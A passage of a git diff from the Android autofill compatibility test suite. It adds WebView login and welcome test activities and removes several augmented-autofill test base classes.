+    }
+
+    public UiObject2 getPasswordInput() throws Exception {
+        return mPasswordInput;
+    }
+
+    public UiObject2 getLoginButton() throws Exception {
+        return mLoginButton;
+    }
+
+    @Override
+    public void clearFocus() {
+        syncRunOnUiThread(() -> mParent.requestFocus());
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/WebViewMultiScreenLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/WebViewMultiScreenLoginActivity.java
new file mode 100644
index 0000000..56684ab
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/WebViewMultiScreenLoginActivity.java
@@ -0,0 +1,175 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import static android.autofillservice.cts.testcore.Timeouts.WEBVIEW_TIMEOUT;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.UiBot;
+import android.os.Bundle;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.webkit.WebResourceRequest;
+import android.webkit.WebResourceResponse;
+import android.webkit.WebView;
+import android.webkit.WebViewClient;
+
+import com.android.compatibility.common.util.RetryableException;
+
+import java.io.IOException;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class WebViewMultiScreenLoginActivity extends AbstractWebViewActivity {
+
+    private static final String TAG = "WebViewMultiScreenLoginActivity";
+    private static final String FAKE_USERNAME_URL = "https://" + FAKE_DOMAIN + ":666/username.html";
+    private static final String FAKE_PASSWORD_URL = "https://" + FAKE_DOMAIN + ":666/password.html";
+
+    private UiObject2 mUsernameLabel;
+    private UiObject2 mUsernameInput;
+    private UiObject2 mNextButton;
+
+    private UiObject2 mPasswordLabel;
+    private UiObject2 mPasswordInput;
+    private UiObject2 mLoginButton;
+
+    private final Map<String, CountDownLatch> mLatches = new HashMap<>();
+
+    public WebViewMultiScreenLoginActivity() {
+        mLatches.put(FAKE_USERNAME_URL, new CountDownLatch(1));
+        mLatches.put(FAKE_PASSWORD_URL, new CountDownLatch(1));
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.webview_only_activity);
+        mWebView = findViewById(R.id.my_webview);
+    }
+
+    public MyWebView loadWebView(UiBot uiBot) throws Exception {
+        syncRunOnUiThread(() -> {
+            mWebView.setWebViewClient(new WebViewClient() {
+                // WebView does not set the WebDomain on file:// requests, so we need to use an
+                // https:// request and intercept it to provide the real data.
+                @Override
+                public WebResourceResponse shouldInterceptRequest(WebView view,
+                        WebResourceRequest request) {
+                    final String url = request.getUrl().toString();
+                    if (!url.equals(FAKE_USERNAME_URL) && !url.equals(FAKE_PASSWORD_URL)) {
+                        Log.d(TAG, "Ignoring " + url);
+                        return super.shouldInterceptRequest(view, request);
+                    }
+
+                    final String rawPath = request.getUrl().getPath()
+                            .substring(1); // Remove leading /
+                    Log.d(TAG, "Converting " + url + " to " + rawPath);
+                    // NOTE: cannot use try-with-resources because it would close the stream before
+                    // WebView uses it.
+                    try {
+                        return new WebResourceResponse("text/html", "utf-8",
+                                getAssets().open(rawPath));
+                    } catch (IOException e) {
+                        throw new IllegalArgumentException("Error opening " + rawPath, e);
+                    }
+                }
+
+                @Override
+                public void onPageFinished(WebView view, String url) {
+                    final CountDownLatch latch = mLatches.get(url);
+                    Log.v(TAG, "onPageFinished(): " + url + " latch: " + latch);
+                    if (latch != null) {
+                        latch.countDown();
+                    }
+                }
+            });
+            mWebView.loadUrl(FAKE_USERNAME_URL);
+        });
+
+        // Wait until it's loaded.
+        if (!mLatches.get(FAKE_USERNAME_URL).await(WEBVIEW_TIMEOUT.ms(), TimeUnit.MILLISECONDS)) {
+            throw new RetryableException(WEBVIEW_TIMEOUT, "WebView not loaded");
+        }
+
+        // Validation check to make sure autofill was enabled when the WebView was created
+        assertThat(mWebView.isAutofillEnabled()).isTrue();
+
+        // WebView builds its accessibility tree asynchronously and only after being queried the
+        // first time, so we should first find the WebView and query some of its properties,
+        // wait for its accessibility tree to be populated (by blocking until a known element
+        // appears), then cache the objects for further use.
+
+        // NOTE: we cannot search by resourceId because WebView does not set them...
+
+        // Wait for known element...
+        mUsernameLabel = uiBot.assertShownByText("Username: ", WEBVIEW_TIMEOUT);
+        // ...then cache the others
+        mUsernameInput = getInput(uiBot, mUsernameLabel);
+        mNextButton = uiBot.findRightAwayByText("Next");
+
+        return mWebView;
+    }
+
+    public void waitForPasswordScreen(UiBot uiBot) throws Exception {
+        // Wait until it's loaded.
+        if (!mLatches.get(FAKE_PASSWORD_URL).await(WEBVIEW_TIMEOUT.ms(), TimeUnit.MILLISECONDS)) {
+            throw new RetryableException(WEBVIEW_TIMEOUT, "Password page not loaded");
+        }
+
+        // WebView builds its accessibility tree asynchronously and only after being queried the
+        // first time, so we should first find the WebView and query some of its properties,
+        // wait for its accessibility tree to be populated (by blocking until a known element
+        // appears), then cache the objects for further use.
+
+        // NOTE: we cannot search by resourceId because WebView does not set them...
+
+        // Wait for known element...
+        mPasswordLabel = uiBot.assertShownByText("Password: ", WEBVIEW_TIMEOUT);
+        // ...then cache the others
+        mPasswordInput = getInput(uiBot, mPasswordLabel);
+        mLoginButton = uiBot.findRightAwayByText("Login");
+    }
+
+    public UiObject2 getUsernameLabel() throws Exception {
+        return mUsernameLabel;
+    }
+
+    public UiObject2 getUsernameInput() throws Exception {
+        return mUsernameInput;
+    }
+
+    public UiObject2 getNextButton() throws Exception {
+        return mNextButton;
+    }
+
+    public UiObject2 getPasswordLabel() throws Exception {
+        return mPasswordLabel;
+    }
+
+    public UiObject2 getPasswordInput() throws Exception {
+        return mPasswordInput;
+    }
+
+    public UiObject2 getLoginButton() throws Exception {
+        return mLoginButton;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/WelcomeActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/WelcomeActivity.java
new file mode 100644
index 0000000..4113db3
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/WelcomeActivity.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.PendingIntent;
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.UiBot;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.support.test.uiautomator.UiObject2;
+import android.text.TextUtils;
+import android.util.Log;
+import android.widget.TextView;
+
+import androidx.annotation.Nullable;
+
+/**
+ * Activity that displays a "Welcome USER" message after login.
+ */
+public class WelcomeActivity extends AbstractAutoFillActivity {
+
+    private static WelcomeActivity sInstance;
+
+    private static final String TAG = "WelcomeActivity";
+
+    public static final String EXTRA_MESSAGE = "message";
+    public static final String ID_WELCOME = "welcome";
+
+    private static int sPendingIntentId;
+    private static PendingIntent sPendingIntent;
+
+    private TextView mWelcome;
+
+    public WelcomeActivity() {
+        sInstance = this;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.welcome_activity);
+
+        mWelcome = (TextView) findViewById(R.id.welcome);
+
+        final Intent intent = getIntent();
+        final String message = intent.getStringExtra(EXTRA_MESSAGE);
+
+        if (!TextUtils.isEmpty(message)) {
+            mWelcome.setText(message);
+        }
+
+        Log.d(TAG, "Message: " + message);
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+
+        Log.v(TAG, "Setting sInstance to null onDestroy()");
+        sInstance = null;
+    }
+
+    @Override
+    public void finish() {
+        super.finish();
+        Log.d(TAG, "So long and thanks for all the finish!");
+
+        if (sPendingIntent != null) {
+            Log.v(TAG, " canceling pending intent on finish(): " + sPendingIntent);
+            sPendingIntent.cancel();
+        }
+    }
+
+    public static void finishIt() {
+        if (sInstance != null) {
+            sInstance.finish();
+        }
+    }
+
+    // TODO: reuse in other places
+    public static void assertShowingDefaultMessage(UiBot uiBot) throws Exception {
+        assertShowing(uiBot, null);
+    }
+
+    // TODO: reuse in other places
+    public static void assertShowing(UiBot uiBot, @Nullable String expectedMessage)
+            throws Exception {
+        final UiObject2 activity = uiBot.assertShownByRelativeId(ID_WELCOME);
+        if (expectedMessage == null) {
+            expectedMessage = "Welcome to the jungle!";
+        }
+        assertWithMessage("wrong text on '%s'", activity).that(activity.getText())
+                .isEqualTo(expectedMessage);
+    }
+
+    public static IntentSender createSender(Context context, String message) {
+        if (sPendingIntent != null) {
+            throw new IllegalArgumentException("Already have pending intent (id="
+                    + sPendingIntentId + "): " + sPendingIntent);
+        }
+        ++sPendingIntentId;
+        Log.v(TAG, "createSender: id=" + sPendingIntentId + " message=" + message);
+        final Intent intent = new Intent(context, WelcomeActivity.class)
+                .putExtra(EXTRA_MESSAGE, message)
+                .setFlags(Intent.FLAG_ACTIVITY_NO_HISTORY);
+        sPendingIntent = PendingIntent.getActivity(context, sPendingIntentId, intent,
+                PendingIntent.FLAG_IMMUTABLE);
+        return sPendingIntent.getIntentSender();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AbstractLoginNotImportantForAutofillTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AbstractLoginNotImportantForAutofillTestCase.java
deleted file mode 100644
index 67169b4..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AbstractLoginNotImportantForAutofillTestCase.java
+++ /dev/null
@@ -1,233 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts.augmented;
-
-import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.augmented.AugmentedHelper.assertBasicRequestInfo;
-import static android.autofillservice.cts.augmented.CannedAugmentedFillResponse.NO_AUGMENTED_RESPONSE;
-
-import android.autofillservice.cts.LoginNotImportantForAutofillActivity;
-import android.autofillservice.cts.augmented.CtsAugmentedAutofillService.AugmentedFillRequest;
-import android.support.test.uiautomator.UiObject2;
-import android.view.View;
-import android.view.autofill.AutofillId;
-import android.view.autofill.AutofillValue;
-import android.widget.EditText;
-
-import org.junit.Test;
-
-abstract class AbstractLoginNotImportantForAutofillTestCase<A extends
-        LoginNotImportantForAutofillActivity> extends
-        AugmentedAutofillAutoActivityLaunchTestCase<A> {
-
-    protected A mActivity;
-
-    @Test
-    public void testAutofill_none() throws Exception {
-        // Set services
-        enableService();
-        enableAugmentedService();
-
-        // Set expectations
-        final EditText username = mActivity.getUsername();
-        final AutofillValue expectedFocusedValue = username.getAutofillValue();
-        final AutofillId expectedFocusedId = username.getAutofillId();
-        sAugmentedReplier.addResponse(NO_AUGMENTED_RESPONSE);
-
-        // Trigger autofill
-        mActivity.onUsername(View::requestFocus);
-        final AugmentedFillRequest request = sAugmentedReplier.getNextFillRequest();
-
-        // Assert request
-        assertBasicRequestInfo(request, mActivity, expectedFocusedId, expectedFocusedValue);
-
-        // Make sure standard Autofill UI is not shown.
-        mUiBot.assertNoDatasetsEver();
-
-        // Make sure Augmented Autofill UI is not shown.
-        mAugmentedUiBot.assertUiNeverShown();
-    }
-
-    @Test
-    public void testAutofill_oneField() throws Exception {
-        // Set services
-        enableService();
-        enableAugmentedService();
-
-        // Set expectations
-        final EditText username = mActivity.getUsername();
-        final AutofillId usernameId = username.getAutofillId();
-        final AutofillValue expectedFocusedValue = username.getAutofillValue();
-        sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
-                .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("Augment Me")
-                        .setField(usernameId, "dude")
-                        .build(), usernameId)
-                .build());
-        mActivity.expectAutoFill("dude");
-
-        // Trigger autofill
-        mActivity.onUsername(View::requestFocus);
-        final AugmentedFillRequest request = sAugmentedReplier.getNextFillRequest();
-
-        // Assert request
-        assertBasicRequestInfo(request, mActivity, usernameId, expectedFocusedValue);
-
-        // Make sure standard Autofill UI is not shown.
-        mUiBot.assertNoDatasetsEver();
-
-        // Make sure Augmented Autofill UI is shown.
-        final UiObject2 ui = mAugmentedUiBot.assertUiShown(usernameId, "Augment Me");
-
-        // Autofill
-        ui.click();
-        mActivity.assertAutoFilled();
-        mAugmentedUiBot.assertUiGone();
-    }
-
-    @Test
-    public void testAutofill_twoFields() throws Exception {
-        // Set services
-        enableService();
-        enableAugmentedService();
-
-        // Set expectations
-        final EditText username = mActivity.getUsername();
-        final AutofillId usernameId = username.getAutofillId();
-        final AutofillValue expectedFocusedValue = username.getAutofillValue();
-        sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
-                .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("Augment Me")
-                        .setField(usernameId, "dude")
-                        .setField(mActivity.getPassword().getAutofillId(), "sweet")
-                        .build(), usernameId)
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger autofill
-        mActivity.onUsername(View::requestFocus);
-        final AugmentedFillRequest request = sAugmentedReplier.getNextFillRequest();
-
-        // Assert request
-        assertBasicRequestInfo(request, mActivity, usernameId, expectedFocusedValue);
-
-        // Make sure standard Autofill UI is not shown.
-        mUiBot.assertNoDatasetsEver();
-
-        // Make sure Augmented Autofill UI is shown.
-        final UiObject2 ui = mAugmentedUiBot.assertUiShown(usernameId, "Augment Me");
-
-        // Autofill
-        ui.click();
-        mActivity.assertAutoFilled();
-        mAugmentedUiBot.assertUiGone();
-    }
-
-    @Test
-    public void testAutofill_manualRequest() throws Exception {
-        // Set services
-        enableService();
-        enableAugmentedService();
-
-        // Set expectations
-        final EditText username = mActivity.getUsername();
-        final AutofillId usernameId = username.getAutofillId();
-        final AutofillValue expectedFocusedValue = username.getAutofillValue();
-        sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
-                .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("Augment Me")
-                        .setField(usernameId, "dude")
-                        .build(), usernameId)
-                .build());
-        mActivity.expectAutoFill("dude");
-
-        // Trigger autofill
-        mActivity.forceAutofillOnUsername();
-        final AugmentedFillRequest request = sAugmentedReplier.getNextFillRequest();
-
-        // Assert request
-        // No inline request because didn't focus on any view.
-        assertBasicRequestInfo(request, mActivity, usernameId, expectedFocusedValue,
-                /* hasInlineRequest */ false);
-
-        // Make sure standard Autofill UI is not shown.
-        mUiBot.assertNoDatasetsEver();
-
-        // Make sure Augmented Autofill UI is shown.
-        final UiObject2 ui = mAugmentedUiBot.assertUiShown(usernameId, "Augment Me");
-
-        // Autofill
-        ui.click();
-        mActivity.assertAutoFilled();
-        mAugmentedUiBot.assertUiGone();
-    }
-
-    @Test
-    public void testAutofill_autoThenManualRequests() throws Exception {
-        // Set services
-        enableService();
-        enableAugmentedService();
-
-        // Set expectations
-        final EditText username = mActivity.getUsername();
-        final AutofillId usernameId = username.getAutofillId();
-        final AutofillValue expectedFocusedValue = username.getAutofillValue();
-        sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
-                .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("Augment Me")
-                        .setField(usernameId, "WHATEVER")
-                        .build(), usernameId)
-                .build());
-
-        // Trigger autofill
-        mActivity.onUsername(View::requestFocus);
-        final AugmentedFillRequest request1 = sAugmentedReplier.getNextFillRequest();
-
-        // Assert request
-        assertBasicRequestInfo(request1, mActivity, usernameId, expectedFocusedValue);
-
-        // Make sure standard Autofill UI is not shown.
-        mUiBot.assertNoDatasetsEver();
-
-        // Make sure Augmented Autofill UI is shown.
-        mAugmentedUiBot.assertUiShown(usernameId, "Augment Me");
-
-        sReplier.addResponse(NO_RESPONSE);
-        sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
-                .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("Fill Me")
-                        .setField(usernameId, "dude")
-                        .build(), usernameId)
-                .build());
-        mActivity.expectAutoFill("dude");
-
-        // Trigger autofill
-        mActivity.clearFocus();
-        mActivity.forceAutofillOnUsername();
-        sReplier.getNextFillRequest();
-        final AugmentedFillRequest request2 = sAugmentedReplier.getNextFillRequest();
-
-        // Assert request
-        assertBasicRequestInfo(request2, mActivity, usernameId, expectedFocusedValue);
-
-        // Make sure standard Autofill UI is not shown.
-        mUiBot.assertNoDatasetsEver();
-
-        // Make sure Augmented Autofill UI is shown.
-        final UiObject2 ui = mAugmentedUiBot.assertUiShown(usernameId, "Fill Me");
-
-        // Autofill
-        ui.click();
-        mActivity.assertAutoFilled();
-        mAugmentedUiBot.assertUiGone();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAuthActivity.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAuthActivity.java
deleted file mode 100644
index 8de9eb7..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAuthActivity.java
+++ /dev/null
@@ -1,90 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts.augmented;
-
-import android.app.PendingIntent;
-import android.autofillservice.cts.AbstractAutoFillActivity;
-import android.autofillservice.cts.R;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentSender;
-import android.os.Bundle;
-import android.service.autofill.Dataset;
-import android.util.Log;
-import android.view.autofill.AutofillManager;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Activity for testing Augmented Autofill authentication flow. This activity shows a simple UI;
- * when the UI is tapped, it returns whatever data was configured via the auth intent.
- */
-public class AugmentedAuthActivity extends AbstractAutoFillActivity {
-    private static final String TAG = "AugmentedAuthActivity";
-
-    public static final String ID_AUTH_ACTIVITY_BUTTON = "button";
-
-    private static final String EXTRA_DATASET_TO_RETURN = "dataset_to_return";
-    private static final String EXTRA_CLIENT_STATE_TO_RETURN = "client_state_to_return";
-    private static final String EXTRA_RESULT_CODE_TO_RETURN = "result_code_to_return";
-
-    private static final List<PendingIntent> sPendingIntents = new ArrayList<>(1);
-
-    public static void resetStaticState() {
-        for (PendingIntent pendingIntent : sPendingIntents) {
-            pendingIntent.cancel();
-        }
-        sPendingIntents.clear();
-    }
-
-    public static IntentSender createSender(Context context, int requestCode,
-            Dataset datasetToReturn, Bundle clientStateToReturn, int resultCodeToReturn) {
-        Intent intent = new Intent(context, AugmentedAuthActivity.class);
-        intent.putExtra(EXTRA_DATASET_TO_RETURN, datasetToReturn);
-        intent.putExtra(EXTRA_CLIENT_STATE_TO_RETURN, clientStateToReturn);
-        intent.putExtra(EXTRA_RESULT_CODE_TO_RETURN, resultCodeToReturn);
-        PendingIntent pendingIntent = PendingIntent.getActivity(context, requestCode, intent, 0);
-        sPendingIntents.add(pendingIntent);
-        return pendingIntent.getIntentSender();
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        Log.d(TAG, "Auth activity invoked, showing auth UI");
-        setContentView(R.layout.single_button_activity);
-        findViewById(R.id.button).setOnClickListener((v) -> {
-            Log.d(TAG, "Auth UI tapped, returning result");
-
-            Intent intent = getIntent();
-            Dataset dataset = intent.getParcelableExtra(EXTRA_DATASET_TO_RETURN);
-            Bundle clientState = intent.getParcelableExtra(EXTRA_CLIENT_STATE_TO_RETURN);
-            int resultCode = intent.getIntExtra(EXTRA_RESULT_CODE_TO_RETURN, RESULT_OK);
-            Log.d(TAG, "Output: dataset=" + dataset + ", clientState=" + clientState
-                    + ", resultCode=" + resultCode);
-
-            Intent result = new Intent();
-            result.putExtra(AutofillManager.EXTRA_AUTHENTICATION_RESULT, dataset);
-            result.putExtra(AutofillManager.EXTRA_CLIENT_STATE, clientState);
-            setResult(resultCode, result);
-
-            finish();
-        });
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillAutoActivityLaunchTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillAutoActivityLaunchTestCase.java
deleted file mode 100644
index d0d61ec..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillAutoActivityLaunchTestCase.java
+++ /dev/null
@@ -1,121 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts.augmented;
-
-import static android.autofillservice.cts.Helper.allowOverlays;
-import static android.autofillservice.cts.Helper.disallowOverlays;
-
-import android.autofillservice.cts.AbstractAutoFillActivity;
-import android.autofillservice.cts.AutoFillServiceTestCase;
-import android.autofillservice.cts.UiBot;
-import android.autofillservice.cts.augmented.CtsAugmentedAutofillService.AugmentedReplier;
-import android.content.AutofillOptions;
-import android.view.autofill.AutofillManager;
-
-import com.android.compatibility.common.util.RequiredSystemResourceRule;
-
-import org.junit.AfterClass;
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.rules.RuleChain;
-import org.junit.rules.TestRule;
-
-/////
-///// NOTE: changes in this class should also be applied to
-/////       AugmentedAutofillManualActivityLaunchTestCase, which is exactly the same as this except
-/////       by which class it extends.
-
-// Must be public because of the @ClassRule
-public abstract class AugmentedAutofillAutoActivityLaunchTestCase
-        <A extends AbstractAutoFillActivity> extends AutoFillServiceTestCase.AutoActivityLaunch<A> {
-
-    protected static AugmentedReplier sAugmentedReplier;
-    protected AugmentedUiBot mAugmentedUiBot;
-
-    private CtsAugmentedAutofillService.ServiceWatcher mServiceWatcher;
-
-    private static final RequiredSystemResourceRule sRequiredResource =
-            new RequiredSystemResourceRule("config_defaultAugmentedAutofillService");
-
-    private static final RuleChain sRequiredFeatures = RuleChain
-            .outerRule(sRequiredFeatureRule)
-            .around(sRequiredResource);
-
-    public AugmentedAutofillAutoActivityLaunchTestCase() {}
-
-    public AugmentedAutofillAutoActivityLaunchTestCase(UiBot uiBot) {
-        super(uiBot);
-    }
-
-    @BeforeClass
-    public static void allowAugmentedAutofill() {
-        sContext.getApplicationContext()
-                .setAutofillOptions(AutofillOptions.forWhitelistingItself());
-        allowOverlays();
-    }
-
-    @AfterClass
-    public static void resetAllowAugmentedAutofill() {
-        sContext.getApplicationContext().setAutofillOptions(null);
-        disallowOverlays();
-    }
-
-    @Before
-    public void setFixtures() {
-        mServiceWatcher = null;
-        sAugmentedReplier = CtsAugmentedAutofillService.getAugmentedReplier();
-        sAugmentedReplier.reset();
-        CtsAugmentedAutofillService.resetStaticState();
-        mAugmentedUiBot = new AugmentedUiBot(mUiBot);
-        mSafeCleanerRule
-                .run(() -> sAugmentedReplier.assertNoUnhandledFillRequests())
-                .run(() -> {
-                    AugmentedHelper.resetAugmentedService();
-                    if (mServiceWatcher != null) {
-                        mServiceWatcher.waitOnDisconnected();
-                    }
-                })
-                .add(() -> { return sAugmentedReplier.getExceptions(); });
-    }
-
-    @Override
-    protected int getNumberRetries() {
-        return 0; // A.K.A. "Optimistic Thinking"
-    }
-
-    @Override
-    protected int getSmartSuggestionMode() {
-        return AutofillManager.FLAG_SMART_SUGGESTION_SYSTEM;
-    }
-
-    @Override
-    protected TestRule getRequiredFeaturesRule() {
-        return sRequiredFeatures;
-    }
-
-    protected CtsAugmentedAutofillService enableAugmentedService() throws InterruptedException {
-        if (mServiceWatcher != null) {
-            throw new IllegalStateException("There Can Be Only One!");
-        }
-
-        mServiceWatcher = CtsAugmentedAutofillService.setServiceWatcher();
-        AugmentedHelper.setAugmentedService(CtsAugmentedAutofillService.SERVICE_NAME);
-
-        CtsAugmentedAutofillService service = mServiceWatcher.waitOnConnected();
-        service.waitUntilConnected();
-        return service;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillManualActivityLaunchTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillManualActivityLaunchTestCase.java
deleted file mode 100644
index 32e6b88..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillManualActivityLaunchTestCase.java
+++ /dev/null
@@ -1,114 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts.augmented;
-
-import static android.autofillservice.cts.Helper.allowOverlays;
-import static android.autofillservice.cts.Helper.disallowOverlays;
-
-import android.autofillservice.cts.AutoFillServiceTestCase;
-import android.autofillservice.cts.augmented.CtsAugmentedAutofillService.AugmentedReplier;
-import android.content.AutofillOptions;
-import android.view.autofill.AutofillManager;
-
-import com.android.compatibility.common.util.RequiredSystemResourceRule;
-
-import org.junit.AfterClass;
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.rules.RuleChain;
-import org.junit.rules.TestRule;
-
-/////
-///// NOTE: changes in this class should also be applied to
-/////       AugmentedAutofillManualActivityLaunchTestCase, which is exactly the same as this except
-/////       by which class it extends.
-
-// Must be public because of the @ClassRule
-public abstract class AugmentedAutofillManualActivityLaunchTestCase
-        extends AutoFillServiceTestCase.ManualActivityLaunch {
-
-    protected static AugmentedReplier sAugmentedReplier;
-    protected AugmentedUiBot mAugmentedUiBot;
-
-    private CtsAugmentedAutofillService.ServiceWatcher mServiceWatcher;
-
-    private static final RequiredSystemResourceRule sRequiredResource =
-            new RequiredSystemResourceRule("config_defaultAugmentedAutofillService");
-
-    private static final RuleChain sRequiredFeatures = RuleChain
-            .outerRule(sRequiredFeatureRule)
-            .around(sRequiredResource);
-
-    @BeforeClass
-    public static void allowAugmentedAutofill() {
-        sContext.getApplicationContext()
-                .setAutofillOptions(AutofillOptions.forWhitelistingItself());
-        allowOverlays();
-    }
-
-    @AfterClass
-    public static void resetAllowAugmentedAutofill() {
-        sContext.getApplicationContext().setAutofillOptions(null);
-        disallowOverlays();
-    }
-
-    @Before
-    public void setFixtures() {
-        sAugmentedReplier = CtsAugmentedAutofillService.getAugmentedReplier();
-        sAugmentedReplier.reset();
-        CtsAugmentedAutofillService.resetStaticState();
-        mAugmentedUiBot = new AugmentedUiBot(mUiBot);
-        mSafeCleanerRule
-                .run(() -> sAugmentedReplier.assertNoUnhandledFillRequests())
-                .run(() -> {
-                    AugmentedHelper.resetAugmentedService();
-                    if (mServiceWatcher != null) {
-                        mServiceWatcher.waitOnDisconnected();
-                    }
-                })
-                .add(() -> {
-                    return sAugmentedReplier.getExceptions();
-                });
-    }
-
-    @Override
-    protected int getSmartSuggestionMode() {
-        return AutofillManager.FLAG_SMART_SUGGESTION_SYSTEM;
-    }
-
-    @Override
-    protected TestRule getRequiredFeaturesRule() {
-        return sRequiredFeatures;
-    }
-
-    protected CtsAugmentedAutofillService enableAugmentedService() throws InterruptedException {
-        return enableAugmentedService(/* whitelistSelf= */ true);
-    }
-
-    protected CtsAugmentedAutofillService enableAugmentedService(boolean whitelistSelf)
-            throws InterruptedException {
-        if (mServiceWatcher != null) {
-            throw new IllegalStateException("There Can Be Only One!");
-        }
-
-        mServiceWatcher = CtsAugmentedAutofillService.setServiceWatcher();
-        AugmentedHelper.setAugmentedService(CtsAugmentedAutofillService.SERVICE_NAME);
-
-        CtsAugmentedAutofillService service = mServiceWatcher.waitOnConnected();
-        service.waitUntilConnected();
-        return service;
-    }
-}
